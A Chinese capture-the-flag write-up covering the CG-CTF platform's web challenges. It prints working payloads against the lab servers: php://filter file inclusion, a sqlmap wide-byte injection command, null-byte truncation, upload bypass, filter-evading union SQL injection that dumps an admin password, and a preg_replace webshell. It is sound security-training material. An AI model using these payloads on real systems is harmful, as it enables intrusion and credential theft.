南邮CTF攻防平台Writeup
By:Mirror王宇阳
个人QQ欢迎交流:2821319009
技术水平有限~大佬勿喷 ^_^
Web题
签到题:
直接一梭哈……
md5 collision:
题目源码提示:
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
呃……脑中闪过“PHP弱类型”于是乎……当然是Google找一下喽!
QNKCDZO的md5(32)加密后:0e830400451993494058024219903391
结合 $md51 == $md52
就要0e开头的md5碰撞!感谢Google!
构造:http://chinalover.sinaapp.com/web19/?a=s878926199a
签到2:
本能的直接源码搜哈……
发现了字符输入限制10位字符,而给出的指令是11位!得嘞……前端能看见的都能改 maxlength="11"
只要限制字符数超过11或等于11位就行!
这题不是Web:
题目都说了!这题不是web!然而面对这页面……除了图片还有啥?
既然只有图片那么我就要再拿出宝贝了!WinHex (十六进制查看器)
**多显然的flag呀^_^……**
层层递进:
说来惭愧……看了源码一脸懵逼……于是我分析题目发现硬核推荐的微博也没得线索
在仔细一想!算了还是扣源码吧于是一个手滑……
没错!随便点了一下,进一个有一个!于是按照 SO.html
一路点下去
以为有惊喜!结果……
这是什么鬼呀……
不过!哪位高手给那摩多注释,难不成睡觉的时候按到了 Ctrl+C
吗 ???
然而其中暗藏玄机……
AAencode:
这个题目就得Google了解(这个东西叫做颜编码)
首先,看看这页面……不太像颜编码呀?
更像是乱码……于是!换一个编码呗!
这样才对嘛……
下一步就是要借助 Chrom 浏览器了(当然了在线的AAencode工具也可以)
单身二十年:
唉……这题目说的就是我呀!踩过前面题目的坑了!俺得好好的留意题目的提示:“手速”,也就是速度快呗……
不在?但是首页告诉我可以找到呀!为什么呢?
手速……手速……手速……
后来留意了一下!
原来索引的位置不对呀!
看了一下跳转!原来这个没有flag页面是从 http://chinalover.sinaapp.com/web8/search_key.php
页面跳转的
Burp抓包看一眼
在上一个页面有一个自动跳转……难怪要求手速快呢!难道不是要求“眼速快”吗?
PHP decode:
题目源码:“ 见到的一个类似编码的shell,请解码 ”
傻傻的看了源码两三分钟!然后发现……一执行就有结果了!
文件包含:
题目直接提示了:LFI
点击,但又说不???
从源码中发现:file包含了show.php
文件,也就表示,file就是文件包含属性,
既然提示我们可以利用LFI,那么就……读一下源码php吧!
http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php
利用php协议php:filter
读取本地任意文件(file:// 需要详细的URL路径才可以哦)
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
asdf
click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
哎呀!一不小心~flag出来了^_^
单身一百年也没用:
啥意思?又来套路……Burp启动
居然没一点坑……呵呵
COOKIE:
看到题目提示:
0就是不的意思!那么1就是是的意思喽
简单通过……
MySQL:
按照提示:“Do you know robots.txt” 我们看一下robots
文件
通过对源码的分析sql.php
页面要求我们提交一个$id
参数,使intval($_GET[id])
==1024,但是$_GET[$id]
== 1024 为假!也就是说我们需要同时保证两个条件同时成立且为真。
int intval ( mixed $var [, int $base = 10 ] )
构造:函数转为int整型
http://chinalover.sinaapp.com/web11/sql.php?id=1024e1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
………………
GBK Injection:
哈哈!粗暴的题目!告诉我们GBK注入(宽字节注入)
直接丢进SQLmap跑一遍
python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump
嗯!确实全程sqlmap自动化,有点脸皮厚了……
/x00:
题目直接给出源码:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
从源码分析来看:输入的$nctf
值必须符合“^[1-9]+$”正则;且可以在strpos()
函数中找到“#biubiubiu”字符!
头疼……不能输入字符?Google一下了解函数的缺陷吧!
按照题目给的提示:“/x00” 发现ereg函数存在截断漏洞:%xx截断遇到%00则默认字符串结束;而strpos函数则越过或是说识别%00截断后面的字符内容。
构造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu
bypass again:
提示是“弱类型(参考文章)”;源码梭哈一波:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
啥玩意?在找一找“0exxx”开头的hash值;遇到了两题这样的!就顺便解释一下为什么0e开头的会相等于呢??因为“0e”开头的都会按照科学计数法转为最后的整型数“0”。
构造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
变量覆盖:
题目就是指引!Google了解一下……
首先分析php源码核心部分……
简单的解析一下源码函数:
extract():从数组中将变量导入当前符号表;key>变量名 ; value>变量值。
我们只需要覆盖变量并实现$pass == $thepassword_123
就可以得到flag了!
post提交pass=123&thepassword_123=123
就会被后台认为$pass=123、$thepassword_123=123
实现变量覆盖……
伪装者:
神秘叨叨的……
burp打开!xff头改成127.0.0.1
居然不对……按理来说改下X-Forwarded-For
就可以了呀!!!
于是我Google了一下伪造客户端IP的方法,发现除了X-F-F方法以外,还有一种Client-IP
上传绕过:
题目提示我们猜猜源码是如何写的!
这HTML页面时非常简单的文件上传的功能,题目是要求绕过!
按照返回结果,可以确定,我们只有上传的是可以解析的PHP文件才可以返回flag!
而且只允许jpg、gif、png等格式文件……
观察一下返回数据包是如何后端校验文件格式的!初步推定:后台校验文件是否为图片格式以后再判断是否为php格式文件!
在后台会把file上传的文件名和源码中的dir元素Value进行拼接;转向dir元素,因为它藏在源码里!必然有用!再仔细的观察了第二个检验php文件报错回显:
通过“/uploads”目录下的文件进行校验;回想两次校验的不同,第一次校验图片格式的时候是读取上传文件的后缀名,第二次校验是根据目录来找到文件进行校验!
我们首先是绕过第一道图片格式校验的检查,那么就要求我们的文件必须再上传的时候是图片格式。而保存的时候是dir元素的value和filename进行拼接的;如果我们修改了dir元素的value=“/uploads/1.php0x00” 也就是说在file经过第一道校验后与dir元素value拼接:“/uploads/1.php0x00test.jpg” 而这段在后台被执行的时候被00截断,保存为:“/uploads/1.php”
SQL注入:
题目给了源码分析一波:
'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "Logged in! flag:********************
";
}
if($query[user] != "admin") {
echo("You are not admin!
");
}
}
echo $query[user];
?>
源码告诉我们输入的字符串两侧的空白字符会被删掉;然后如何拼接字符;在者就是告诉我们admin用户可以获得flag,意味着我们要利用admin的身份注入!(手工注入)
经过观察构造sql:
select user from ctf where (user='admin')#') and (pw='".$pass."')
我们需要的是构造user数据提交给后台:user=admin')#&pass=12345
pass check:
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass)){
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
题目给出了源码;分析一波……
strcmp()
:比较两个字符串,且大小写敏感; str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0;结合函数和源码:pass==pass1 时返回flag
Google一下函数缺陷:期待的是传入“合法字符串”,如果传入的是非法的字符串则返回 return 0
既然指导了函数比较的缺陷,那么我们就传入一个不合法的字符串,比如数组……
php为了可以上传一个数组,会把上传的变量结尾带一对中括号当作数组上传:key[]=xx
起名字真难:
= $one) && ($digit <= $nine) )
{ // 判断number内有没有1~9的数字字符:有则返回false
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
综合分析源码:要求输入的key不可以在1~9之间,但是要求等于54975581388
一开始也是比较烦的但是发现它的数字限制不包括“0”;于是想到了“十六进制”
key传入十六进制数,在数字检查中可以避开的,因为54975581388
=0xccccccccc
密码重置:
题目要求对admin管理账户进行密码重置,而邮箱收到了重置密码的邮件html
抓包结果来看,我们需要以admin的身份重置密码!同时也留意到url中的user1=Y3RmdXNlcg==
base解密结果为url1=ctfuser
SQL Injection:*
打开F12发现,源码被注释了!
#GOAL: login as admin,then get the flag; 以管理员身份登录,然后获取flag
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){ //获取当前 magic_quotes_gpc 的配置选项设置
$str=stripslashes($str);
// stripslashes():删除反斜杠
}
return htmlentities($str, ENT_QUOTES);
//把$str字符转换为 HTML 实体 ENT_QUOTES:编码可用双引号和单引号
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
从源码分析来开,重要的就是单引号也会被编码!意味着我们输入的单引号也会被编码
构造:http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23
`
SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE
name='\' AND pass=' 『 [name]的值为 [' AND pass=] ,显然逻辑值为false 』
or 1 『 但没关系,[false or 1] 的逻辑值为真』
#' 『 注释掉多余的单引号 』
即
select * from users where false or 1
SQL注入2:
源码:
str2或str1==str2都返回“0”
// 也就是当passmd5处理后的值小于query[pw]就可以绕过
echo "Logged in! Key: ntcf{**************}
";
} else {
echo("Log in failure!
");
}
}
?>
题目提示我们使用”union“方法……
我们输入的user 通过post提交给$user,后台通过$user返回pw字段,在strcasecmp()函数中比较pw和$pass。这是 正常的功能流程。
我们利用的点就是
strcasecmp()
函数的比较缺陷,这是我一开始的想法,但是想到题目的提示:“union”于是我想到了利用闭合union的方法;
构造
user='union select md5(a)# &pass=a
user的value为空,不存在该查询则执行不成功;就会把union后一个查询显示在pw字段里,即我们查询的是md5(a),结合sql语句的拼接,pw字段==md5(a)。
综合题1:
是不是看不懂?没啥看不懂得!这就是JsFuck
解码后得到:1bc29b36f623ba82aaf6724fd3b16718.php
构造访问后:
Response告诉我们tip字段提示:history of bash (bash的历史)
发现了 flagbak.zip
,构造URL下载该文件并打开
综合题2:*
查看到最后一个sm.txt(本CMS说明)页面的时候发现了新大陆!
在这里它列出了:config.php
index.php
passencode.php
say.php
sm.txt
和admin表结构
同时我们分析URL时候,发现这个页面存在文件包含哦~~~
知道了那么多源码的文件名,我们试一试~~~
index.php源码文件:
没有利用之处,不占篇幅了……
passencode.php
处理用户输入的密码并进行ASCII加密处理
say.php
alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo ""; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo ''; ?>
处理用户留言板的留言系统
config.php 不给读 ……
so.php
搜索留言 '.antixss($rs['say']).'
'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>哦对了!这个页面在之前就有问题,就是限制了浏览器访问!
“
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")
”喏~
查完了sm.txt给的php文件,却忘记了about.php这个页面;点击sm.txt的那个链接后来到了/about.php?file=sm.txt
一直在包含其它文件,却忘了about.php
alert('敏感目录,禁止查看!但是。。。')";
}
}
看到了一丝曙光:有一个敏感目录loginxlcteam
打开一看,是个后台登录页面!是不是都瞬间有一种sql注入的冲动!但是我的直觉告诉我~~不可信
果然,看了一下前辈的思路,他们在so.php中发现了“include 'config.php'; include 'antiinject.php'; include 'antixss.php'”等文件被包含,其中antiinject.php
文件就是防止sql注入的
知道了有防注入的文件,就回到一开始发现的文件包含的位置查看该源码:
从源码中发现:过滤了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="
等关键字
应对的绕过方法:
应对关键字过滤,防御方式是把关键敏感单词变为空;可以采用复写的方式,即“ununionion”当过滤的时候,就会把中间的关键单词变为空;
应对过滤空格;采用/**/
方式绕过;(当然了,也可以采用圆括号的方式)
明白了绕过的方法,就需要来sql注入了!注入点在哪?前辈给的方向是so.php
'.antixss($rs['say']).'
';
mysql_free_result($result); mysql_free_result($file);
mysql_close($con);
?>
哦!对了,有一点要说一下哈~~~这个页面处理的是用户的留言数据,id内容实际上是留言板的ID,利用union select *,…
确定字段:
2 union select 1,2,3,4
注入构造:
表结构:
create table admin ( id integer, username text, userpass text, )
知道了表结构,就不用猜库、猜表了
直接查数据……
soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4
pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu
soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4
name:admin
在
http://cms.nuptzj.cn/loginxlcteam/index.php
后台中登录
打开
xlcteam.php
文件(利用之前发现的文件包含)'|.*|e',); array_walk($arr, $e, ''); ?>
一开始看不懂这个马!后来查了一下代码得知:三参数回调函数
array_walk(array,function,parameter):
array:数组
function:用户自定义的函数名称(preg_replace:正则函数)
parameter:可选
菜刀一连!找到flag文件就可以了……
这是CG-CTF做的最充裕、收获最大的一题
密码重置2:
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
我们从源码中观察到了管理员邮箱:[email protected]
Vi编辑器 + 留下备份文件:vi的备份文件格式是:.[filename].swp
构造访问:http://nctf.nuptzj.cn/web14/.submit.php.swp
下载文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
// 要求token为十位且为零 否则退出脚本并输出fail
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){ //只有当sql查询的count(*)也就是num大于或等于零的时候才会输出flag
echo $flag;
}else{
echo "失败了呀";
}
}
综上!我们知道了获得flag的方法:
输入的用户名为:[email protected]
输入的token:十位数且为“0”(符合提示的第三条)
要求十位数且结果为零的花,又想到了科学技术法 token=0e12345678
file_get_contents:
页面源码:
从源码提示来看:要求我们包含的文件中的内容是“meizijiu”,并用file_get_contents()函数读取
这里需要引用的技术就是php协议:php://input
:功能就是将data数据写入并可执行; 访问请求的原始数据的只读流。
变量覆盖2:
源码:
foreach($_GET as $key => $value){
// foreach():循环语句 常用于遍历数组
// GET方式传入数组
$$key = $value; //可变变量,一个可变变量获取了普通变量的值,作为这个可变变量的值
/* $$x:解释 ~ ~ ~
$x = "abc";
$$x = 200;
echo $x."
"; // abc
echo $$x."
"; // 200
echo $abc; // 200
》 $abc <= $$x <= $x == abc //也就是$$x 把 $x 的值变成了一个变量
*/
}
if($name == "meizijiu233"){
echo $flag;
}
GET传入数组['name'=>'meizijiu233']
构造:http://chinalover.sinaapp.com/web24/?name=meizijiu233
By:Mirror王宇阳 2019年12月6日
留:周末刷了南京邮电大学CTF平台的Web题,以上是个人总结的思路Writeup
注:平台又小部分题目,笔者这里无法打开,所以就没有做……
最后附上平台网址:https://cgctf.nuptsast.com/challenges#Web
**感谢CG-CTF平台给的环境哦&_&**